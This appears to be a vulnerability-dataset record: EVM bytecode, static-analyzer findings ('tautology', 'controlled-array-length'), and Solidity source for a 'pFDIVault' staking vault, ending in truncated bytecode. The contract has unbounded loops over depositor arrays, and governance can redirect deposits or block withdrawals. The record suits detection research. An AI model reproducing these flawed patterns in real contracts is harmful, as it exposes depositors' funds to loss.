18154811015156116ac57fe5b90600052602060002090600202016001015483828151811015156116cc57fe5b9060200190602002018181525050600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110151561172657fe5b906000526020600020906002020160000154828281518110151561174657fe5b90602001906020020181815250508080600101915050611616565b828294509450505050915091565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117f357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561187a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b151561188557600080fd5b6001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f8c5488c20f72c8e1e70d2fb015bb3f71075f6b62981493b11d7bc228dcd3dc98600160405180806020018381526020018281038252600c8152602001807f697353757065727669736f7200000000000000000000000000000000000000008152506020019250505060405180910390a260019050919050565b6040805190810160405280600381526020017f50494d000000000000000000000000000000000000000000000000000000000081525081565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480611a4e5750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611a5957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611a97575060008310155b8015611aa257504282115b1515611aad57600080fd5b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905010151515611afe57600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002084815481101515611b4b57fe5b906000526020600020906002020160000181905550600190509392505050565b6000600360149054906101000a900460ff16151515611b8957600080fd5b611b92336125c5565b151515611b9e57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515611c42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f436865636b20796f75722061646472657373212100000000000000000000000081525060200191505060405180910390fd5b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501115611c9857611c963361261b565b505b611ca28383612d85565b905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480611d515750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611d5c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611de25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611ded57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690558173ffffffffffffffffffffffffffffffffffffffff167f8c5488c20f72c8e1e70d2fb015bb3f71075f6b62981493b11d7bc228dcd3dc9860006040518080602001838152602001828103825260148152602001807f69734c6f636b656457616c6c6574456e746974790000000000000000000000008152506020019250505060405180910390a260019050919050565b6000600360149054906101000a900460ff16151515611eeb57600080fd5b611ef58383612db5565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061202b5750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561203657600080fd5b600360149054906101000a900460ff1615151561205257600080fd5b42821180156120615750600083115b15156120d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f436865636b20796f75722076616c75657321213b00000000000000000000000081525060200191505060405180910390fd5b6103e8600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905010151561212b5760009050612147565b6121358484611b6b565b50612141848484612fb1565b50600190505b9392505050565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806121f55750600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561220057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156122875750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b151561229257600080fd5b6001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f8c5488c20f72c8e1e70d2fb015bb3f71075f6b62981493b11d7bc228dcd3dc9860016040518080602001838152602001828103825260148152602001807f69734c6f636b656457616c6c6574456e746974790000000000000000000000008152506020019250505060405180910390a260019050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123d757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561241357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600090505b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156126f75742600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811015156126ba57fe5b9060005260206000209060020201600001541115156126ea576126dd838261313d565b156126e9576001810390505b5b8080600101915050612623565b6001915050919050565b6000600360149054906101000a900460ff1615151561271f57600080fd5b61272a848484613475565b90509392505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561278057600080fd5b6127d1816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461382f90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128288160015461382f90919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156129f7576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a8b565b612a0a838261382f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000808284019050838110151515612bd357fe5b8091505092915050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515612c6857600080fd5b612cf781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461382f90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d818282612733565b5050565b6000600360149054906101000a900460ff16151515612da357600080fd5b612dad8383613848565b905092915050565b6000612e4682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bbf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000613004836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461382f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280848152602001858152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050508373ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b8484604051808381526020018281526020019250505060405180910390a2600190509392505050565b6000806000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110151561318e57fe5b9060005260206000209060020201915081600101549050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811015156131f157fe5b906000526020600020906002020160008082016000905560018201600090555050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206132a76001600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905061382f90919063ffffffff16565b8154811015156132b357fe5b9060005260206000209060020201600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208581548110151561330d57fe5b906000526020600020906002020160008201548160000155600182015481600101559050506001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818180549050039150816133879190613a67565b508473ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1826040518082815260200191505060405180910390a2613427816000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bbf90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156134b257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156134ff57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561358a57600080fd5b6135db826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461382f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061366e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bbf90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061373f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461382f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561383d57fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561388557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156138d257600080fd5b613923826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461382f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506139b6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bbf90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b815481835581811115613a9457600202816002028360005260206000209182019101613a939190613a99565b5b505050565b613ac591905b80821115613ac157600080820160009055600182016000905550600201613a9f565b5090565b905600a165627a7a72305820308333eb6aa281d3c75738cc5766406996759824b0018579db9eb1897d8bbd340029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
534
0xd850da9816ff484ebac468d769729449ba99ac69
// SPDX-License-Identifier: MIT pragma solidity 0.7.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{ value : amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract pFDIVault { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct RewardDivide { uint256 amount; uint256 startTime; uint256 checkTime; } string public _vaultName; IERC20 public token0; IERC20 public token1; address public feeAddress; address public vaultAddress; uint32 public feePermill = 5; uint256 public delayDuration = 7 days; bool public withdrawable; address public gov; uint256 public totalDeposit; mapping(address => uint256) public depositBalances; mapping(address => uint256) public rewardBalances; address[] public addressIndices; mapping(uint256 => RewardDivide) public _rewards; uint256 public _rewardCount; event SentReward(uint256 amount); event Deposited(address indexed user, uint256 amount); event ClaimedReward(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) { token0 = IERC20(_token0); token1 = IERC20(_token1); feeAddress = _feeAddress; vaultAddress = _vaultAddress; _vaultName = name; gov = msg.sender; } modifier onlyGov() { require(msg.sender == gov, "!governance"); _; } function setGovernance(address _gov) external onlyGov { gov = _gov; } function setToken0(address _token) external onlyGov { token0 = IERC20(_token); } function setToken1(address _token) external onlyGov { token1 = IERC20(_token); } function setFeeAddress(address _feeAddress) external onlyGov { feeAddress = _feeAddress; } function setVaultAddress(address _vaultAddress) external onlyGov { vaultAddress = _vaultAddress; } function setFeePermill(uint32 _feePermill) external onlyGov { feePermill = _feePermill; } function setDelayDuration(uint32 _delayDuration) external onlyGov { delayDuration = _delayDuration; } function setWithdrawable(bool _withdrawable) external onlyGov { withdrawable = _withdrawable; } function setVaultName(string memory name) external onlyGov { _vaultName = name; } function balance0() public view returns (uint256) { return token0.balanceOf(address(this)); } function balance1() public view returns (uint256) { return token1.balanceOf(address(this)); } function rewardUpdate() public { if (_rewardCount > 0) { uint256 i; uint256 j; for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) { uint256 duration; if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) { duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime); _rewards[i].startTime = uint256(-1); } else { duration = block.timestamp.sub(_rewards[i].checkTime); } _rewards[i].checkTime = block.timestamp; uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration); uint256 addAmount; for (j = 0; j < addressIndices.length; j++) { addAmount = timedAmount.mul(depositBalances[addressIndices[j]]).div(totalDeposit); rewardBalances[addressIndices[j]] = rewardBalances[addressIndices[j]].add(addAmount); } if (i == 0) { break; } } } } function depositAll() external { deposit(token0.balanceOf(msg.sender)); } function deposit(uint256 _amount) public { require(_amount > 0, "can't deposit 0"); rewardUpdate(); uint256 arrayLength = addressIndices.length; bool found = false; for (uint256 i = 0; i < arrayLength; i++) { if (addressIndices[i]==msg.sender){ found=true; break; } } if(!found){ addressIndices.push(msg.sender); } uint256 feeAmount = _amount.mul(feePermill).div(1000); uint256 realAmount = _amount.sub(feeAmount); token0.safeTransferFrom(msg.sender, feeAddress, feeAmount); token0.safeTransferFrom(msg.sender, vaultAddress, realAmount); totalDeposit = totalDeposit.add(realAmount); depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount); emit Deposited(msg.sender, realAmount); } function sendReward(uint256 _amount) external { require(_amount > 0, "can't reward 0"); require(totalDeposit > 0, "totalDeposit must bigger than 0"); token1.safeTransferFrom(msg.sender, address(this), _amount); rewardUpdate(); _rewards[_rewardCount].amount = _amount; _rewards[_rewardCount].startTime = block.timestamp; _rewards[_rewardCount].checkTime = block.timestamp; _rewardCount++; emit SentReward(_amount); } function claimRewardAll() external { claimReward(uint256(-1)); } function claimReward(uint256 _amount) public { require(_rewardCount > 0, "no reward amount"); rewardUpdate(); if (_amount > rewardBalances[msg.sender]) { _amount = rewardBalances[msg.sender]; } require(_amount > 0, "can't claim reward 0"); token1.safeTransfer(msg.sender, _amount); rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount); emit ClaimedReward(msg.sender, _amount); } function withdrawAll() external { withdraw(uint256(-1)); } function withdraw(uint256 _amount) public { require(token0.balanceOf(address(this)) > 0, "no withdraw amount"); require(withdrawable, "not withdrawable"); rewardUpdate(); if (_amount > depositBalances[msg.sender]) { _amount = depositBalances[msg.sender]; } require(_amount > 0, "can't withdraw 0"); token0.safeTransfer(msg.sender, _amount); depositBalances[msg.sender] = depositBalances[msg.sender].sub(_amount); totalDeposit = totalDeposit.sub(_amount); emit Withdrawn(msg.sender, _amount); } function availableRewardAmount(address owner) public view returns(uint256) { uint256 i; uint256 availableReward = rewardBalances[owner]; if (_rewardCount > 0) { for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) { uint256 duration; if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) { duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime); } else { duration = block.timestamp.sub(_rewards[i].checkTime); } uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration); uint256 addAmount = timedAmount.mul(depositBalances[owner]).div(totalDeposit); availableReward = availableReward.add(addAmount); if (i == 0) { break; } } } return availableReward; } }
0x608060405234801561001057600080fd5b50600436106102115760003560e01c8063a7df8c5711610125578063c78b6dea116100ad578063de5f62681161007c578063de5f6268146105da578063e2aa2a85146105e2578063e835dfbd146105ea578063f6153ccd146105f2578063fab980b7146105fa57610211565b8063c78b6dea14610573578063cbeb7ef214610590578063d21220a7146105af578063d86e1ef7146105b757610211565b8063b6b55f25116100f4578063b6b55f25146104df578063b79ea884146104fc578063b8f7928814610522578063c45c4f5814610545578063c6e426bd1461054d57610211565b8063a7df8c5714610477578063ab033ea914610494578063ae169a50146104ba578063b5984a36146104d757610211565b806344264d3d116101a857806385535cc51161017757806385535cc5146103a45780638705fcd4146103ca5780638d96bdbe146103f05780638f1e94051461041657806393c8dc6d1461045157610211565b806344264d3d146103575780635018830114610378578063637830ca14610394578063853828b61461039c57610211565b80631eb903cf116101e45780631eb903cf146103045780632e1a7d4d1461032a5780634127535814610347578063430bf08a1461034f57610211565b80630dfe16811461021657806311cc66b21461023a57806312d43a51146102e25780631c69ad00146102ea575b600080fd5b61021e610677565b604080516001600160a01b039092168252519081900360200190f35b6102e06004803603602081101561025057600080fd5b81019060208101813564010000000081111561026b57600080fd5b82018360208201111561027d57600080fd5b8035906020019184600183028401116401000000008311171561029f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610686945050505050565b005b61021e6106ef565b6102f2610703565b60408051918252519081900360200190f35b6102f26004803603602081101561031a57600080fd5b50356001600160a01b031661077f565b6102e06004803603602081101561034057600080fd5b5035610791565b61021e61099c565b61021e6109ab565b61035f6109ba565b6040805163ffffffff9092168252519081900360200190f35b6103806109cd565b604080519115158252519081900360200190f35b6102e06109d6565b6102e06109e3565b6102e0600480360360208110156103ba57600080fd5b50356001600160a01b03166109ee565b6102e0600480360360208110156103e057600080fd5b50356001600160a01b0316610a62565b6102f26004803603602081101561040657600080fd5b50356001600160a01b0316610ad6565b6104336004803603602081101561042c57600080fd5b5035610c25565b60408051938452602084019290925282820152519081900360600190f35b6102f26004803603602081101561046757600080fd5b50356001600160a01b0316610c46565b61021e6004803603602081101561048d57600080fd5b5035610c58565b6102e0600480360360208110156104aa57600080fd5b50356001600160a01b0316610c7f565b6102e0600480360360208110156104d057600080fd5b5035610cf9565b6102f2610e3d565b6102e0600480360360208110156104f557600080fd5b5035610e43565b6102e06004803603602081101561051257600080fd5b50356001600160a01b0316611020565b6102e06004803603602081101561053857600080fd5b503563ffffffff16611094565b6102f261110c565b6102e06004803603602081101561056357600080fd5b50356001600160a01b0316611157565b6102e06004803603602081101561058957600080fd5b50356111cb565b6102e0600480360360208110156105a657600080fd5b503515156112fc565b61021e611361565b6102e0600480360360208110156105cd57600080fd5b503563ffffffff16611370565b6102e06113cd565b6102f261144a565b6102e0611450565b6102f261162c565b610602611632565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561063c578181015183820152602001610624565b50505050905090810190601f1680156106695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6001546001600160a01b031681565b60065461010090046001600160a01b031633146106d8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106eb906000906020840190611ba7565b5050565b60065461010090046001600160a01b031681565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b505afa158015610762573d6000803e3d6000fd5b505050506040513d602081101561077857600080fd5b5051905090565b60086020526000908152604090205481565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107dc57600080fd5b505afa1580156107f0573d6000803e3d6000fd5b505050506040513d602081101561080657600080fd5b50511161084f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b60065460ff16610899576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108a1611450565b336000908152600860205260409020548111156108ca5750336000908152600860205260409020545b60008111610912576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b